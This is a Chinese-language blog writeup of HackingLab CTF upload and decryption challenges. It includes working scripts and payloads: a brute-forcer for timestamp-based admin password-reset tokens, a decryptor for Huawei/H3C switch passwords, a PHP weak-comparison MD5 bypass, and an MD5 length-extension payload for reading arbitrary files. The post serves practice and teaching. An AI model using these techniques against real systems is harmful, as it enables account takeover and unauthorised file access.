MENU

HackingLab 上传、解密关 writeup

July 26, 2016 • Read: 765 • CTF

上传关

三道题用 burp 抓包,该后缀名可破。。。好像有点太简单了?

解密关

以管理员身份登录系统

以管理员身份登录即可获取通关密码(重置即可,无需登录)
通关地址
补充说明:假设除了admin用户,其它用户的邮箱都可被登录获取重置密码的链接。

这题还有点难,仔细研究一下吧。

随便用 admin1 账号重置密码两次,看到两个加密后的 sukey 值,md5 解密一下。

db37222b8b6f9bb9af5a4281963bb30b    1469516744
26361758d70db01f45ba8b5224090b12    1469516764

妹的,cmd5 还收费,做个题还花了两毛钱。。。

从解密结果看着像是时间戳,打印一下当前的时间戳得到:

In [2]: print time.time()
1469517486.53

可以确定是用时间戳进行 md5 加密了,这样就可以用脚本跑。

# coding=utf-8
import requests
import hashlib
import time

se = requests.session()
headers = {'Cookie': 'PHPSESSID=ec60a3853e6a7dbe3ed54558f05c23a7'}

while  1:
    sukey = hashlib.new('md5', str(int(time.time()))).hexdigest()
    url = 'http://lab1.xseclab.com/password1_dc178aa12e73cfc184676a4100e07dac/reset.php?sukey=' + sukey + '&username=admin'
    r = se.get(url, headers=headers)
    time.sleep(0.5)
    if r.content:
        print r.content
        break
    else:
        print 'Cracking:  ' + sukey

跑了几分钟后拿到 flag。

邂逅对门的妹纸

小明想要认识对门的漂亮妹纸,但又不好意思直接去敲门,但是小明知道妹纸今年(2014年)上大三(提交wifi密码的md5 32位小写)
Wifi-Crack

2014 年上大三,出生应该在 1993 或 1994 年,看这样子密码应该是 8 位数字了,用 EWSA 爆破即可。

万恶的Cisco

小明入侵了某企业内网,成功的从一管理员电脑获取了某型号交换机running-config文件,发现以下密码
02070D48030F1C294940041801181C0C140D0A0A20253A3B
请你帮他破解该密码。

网上搜一搜,找到一处在线破解,直接拿到 flag。

[email protected]

万恶的加密

这次小明通过某漏洞获取到了某huawei/h3c交换机的加密密码,请你帮他破解。

aK9Q4I)J'#[Q=^Q`MAF4<1!!

提示华为的交换机,谷歌搜一下,看到一篇文章,可惜 Windows 下跑不了这个脚本,放到 Kali 下,成功拿到 flag。

# coding=utf-8
from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24
    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 1])
        
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 2])
        
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff
        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3
    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)
    r = r[:16]
    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)
    return r.rstrip("\x00")

if __name__ == '__main__':
    miwen = "aK9Q4I)J'#[Q=^Q`MAF4<1!!"
    print u'明文' + decrypt_password(miwen) 

喜欢泡网吧的小明

小明特别喜欢泡网吧,而这个月小明拿到了他第一个月的薪水,于是这次到了他平时最常去的网吧充了100元办理了一张会员卡,于是乎小明再也不用花钱上网了。
通关地址

winhex 打开 dump 文件,看到 70 以后的都是重复数据,应该没什么用,第一行数据混乱,看不出是什么东西,抹成 0 上传一下试试。

显示余额 100 块,100 转为 16 进制是 64,数据里并没有这样的地方,仔细观察,分别转换几处不一样的数据,发现 2710 转换为十进制是 10000,原来是考虑了两位小数。。。那么把两处 2710 改为4e20 再试试。

key is cardcrack_skill_get!

异常数据

小明今天去妹纸家开Party,而妹纸却给他出了一个谜语,说只要他能答出来,她就会答应小明一个要求.
这是妹纸给小明的谜语序列:AGV5IULSB3ZLVSE=
Tips:key就是解密结果

一看这个密码就知道是 base64 了,但应该没这么简单,果然解出来是乱码,再看下密文,全是大写,可能是处理过,一共 13 个字母,大小写变化就一共有 8192 种变化。。。好多,只能写个脚本慢慢跑了。

# coding=utf-8
from base64 import *
import re

def dfs(res, arr, pos):
    res.append(''.join(arr))
    i = pos
    for i in range(i, len(arr)):
        if arr[i] <= 'Z' and arr[i] >= 'A':
            arr[i] = arr[i].lower()
            dfs(res, arr, i + 1)
            arr[i] = arr[i].upper()

arr = list('AGV5IULSB3ZLVSE=')
res = []

dfs(res, arr, 0)

res_decode = map(b64decode, res)

for i in res_decode:
    if re.findall(r'\\x', repr(i)):     # 使用  repr 防止转义 
        continue
    else:
        print i

跑出 flag。

md5真的能碰撞嘛?

md5真的能碰撞嘛?其实有时候我们不需要进行碰撞得到完全一致的MD5
通关地址

点开连接,查看源码,有一个 txt 文件。

<?php
$flag=FLAG;
if(isset($_POST["password"])){
    $password=$_POST['password'];
    $rootadmin="!1793422703!";
    if($password==$rootadmin){die("Please do not attack admin account!");}
    
    if(md5($password)==md5($rootadmin)){
        echo $flag;
    }else{
        die("Password Error!");
    }
}
?>

源码中 md5($rootadmin) 的值为 0e332932043729729062996282883873 ,想到了 PHP 的 == 弱类型漏洞,参考文章

那么直接 POST 提交 payload 即可。

password=240610708

小明爱上了一个搞硬件的小姑凉

小明爱上了一个搞嵌入式开发的小姑凉,于是特别想通过一种与众不同的方式向她表白,于是他在她的电脑桌面放了一个文件.
数据下载 
Tips: 该文件为某逻辑分析仪抓包数据,请分析其中的内容,过关密钥为抓包数据内容的小写.

我都不想吐槽了,小明怎么老爱上这么稀奇古怪的姑娘。。。

WinHex 打开,末尾有一段数据是正常的字符串。

Async Serial j22 serialization::archive 10 25 SaleaeAsyncSerialAnalyzer

可以看出,设备的名字就叫 Saleae Async Serial Analyzer

网上搜一下,原来还真有这设备。。。我以为是胡乱写的,看看官网的说明书吧,官网给的这软件还挺大。。。安装好以后直接打开下载的数据,右下角就出现了解码后的 flag。

iloveyou,xiaoguniang!

有签名限制的读取任意文件

我们一直认为,只要消息签名了,salt不泄露且无法猜解到,即便是算法使用公开的加密算法,那么黑客也无法篡改信息.可是真的是这样嘛?
通关地址
Tips: MD5 Length Extension Attack!
Tips: 除已经告知的/etc/hosts文件外,若能读取到任意系统文件即可获取Flag.
Info: 增加密钥长度为32位

看到第一条 tip 我就想到了之前做过的一道题,参见之前的 writeup,攻击原理可以看这篇文章

右键源代码可以看到源码。

<?php
header("Content-type:text/html;charset=utf-8");
include "_flag.php";
include "salt.php";


$mysalt=SALT;

if(isset($_GET['filepath'])&&!empty($_GET['filepath']) &&isset($_GET['sign']) &&!empty($_GET['sign'])){
    myreadfile($_GET['filepath'],$mysalt,$_GET['sign']);
    
}
else{
    //降低一点复杂度
    var_dump(strlen($mysalt));
    testsign("/etc/hosts",$mysalt);
}


function myhash($message,$mysalt){
        return md5($mysalt.$message);
}
function checksign($message,$mysalt,$sign){
    if($sign==myhash($message,$mysalt)){
        return True;
    }else{
        return False;
    }
}
function myreadfile($filepath,$mysalt,$sign){
    $res=checksign($filepath,$mysalt,$sign);
    if($res){
        echo getfile($filepath);
    }
    else{
        echo 'sign error!';
    }
}
function testsign($filepath,$mysalt){
    echo myhash($filepath,$mysalt);
}


echo "<!--".file_get_contents(__FILE__);

利用 hash_extender 或是 HashPump 进行攻击。

# hash_extender
[email protected]:~/桌面/hash_extender$ ./hash_extender -f md5 -l 32 -d '/etc/hosts' -s 'f3d366138601b5afefbd4fc15731692e' -a '' --out-data-format=html
Type: md5
Secret length: 32
New signature: 1b17d9594eb404c97c5090b11660ac63
New string: %2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00

# HashPump
╭─[email protected]  ~/Desktop/HashPump  ‹master*› 
╰─$ hashpump -s f3d366138601b5afefbd4fc15731692e -d /etc/hosts -k 32 -a /etc/hosts 
75221e2e5cd1cd1c7694cbd386571ffe
/etc/hosts\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00/etc/hosts

可以看到两个工具都可以得到 payload,但是 HashPump 必须加上 add 的内容,否则不能生成,且 payload 还需要手工转换成 URL 编码才可以,从这一点上看 hash_extender 更胜一筹,但在 Kali 下,hash_extender 编译不通过,我只能装了个 Ubuntu 才弄好。不过 HashPump 也需要安装 libssl-dev 包才行。

最终的 payload:

http://lab1.xseclab.com/decrypt1_53a52adb49c55c8daa5c8ee0ff59befe/md5_le.php?filepath=%2fetc%2fhosts%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00%2fetc%2fhosts&sign=75221e2e5cd1cd1c7694cbd386571ffe
Last Modified: February 14, 2017
Archives QR Code
QR Code for this page
Tipping QR Code